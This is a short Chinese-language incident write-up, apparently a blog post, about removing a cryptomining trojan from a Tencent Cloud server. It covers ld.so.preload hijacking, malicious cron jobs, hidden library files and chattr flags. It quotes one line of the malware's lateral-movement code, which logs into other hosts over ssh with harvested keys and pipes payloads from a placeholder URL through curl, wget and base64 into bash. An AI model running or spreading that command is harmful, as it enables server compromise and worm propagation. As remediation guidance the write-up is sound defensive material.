用户的云服务器是腾讯云的,在找我来之前应该就被恶意感染了木马,占用cpu过高,很容晚就被发现了。
每次运行命令 会出现如下:
ERROR: ld.so: object '/usr/local/lib/.libd.so' from /etc/ld.so.preload cannot be preloaded: ignored.
第一件事就是杀进程,CPU就降了下去。但是过一会就又开始升上来。脑子清醒的时候,转的快,一下子就判断肯定在定时器哪里做了手脚,执行crontab -l 出现了

把阿里云的安全扫描插件全干掉,这个木马病毒脚本安排了好多个定时器,但是不怕,按他的脚本来。
先干定时器,执行crontab -e,删掉对应的命令,再查/etc/cron.d/,/var/spool/cron/,/etc/cron.hourly/oanacroner1, /var/spool/cron/crontabs/下面的文件,全删(当然如果有自己项目的定时命令,自己注意分辨)。
再干/etc/ld.so.preload,发觉删不掉?执行下命令chattr -ai /etc/ld.so.preload,再删除
再干/usr/local/lib/的.inis,.inid,.libd,.libs(可以打开文件确认下),删不掉,请按照上一步步骤(chattr -ai file)
三步就基本ok了。
这样就完事了吗?并没有。。。
看他们的代码这一段

这段脚本是干嘛用的呢?打包ssh登录密码和证书用的。。。
ssh-oStrictHostKeyChecking=no-oBatchMode=yes-oConnectTimeout=3-i$key$user@$host-p$sshp"(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo$base| base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
然后进行ssh登录,再次写入他们的脚本。 所以最后一步就是改密码改账号。 到这里完毕。
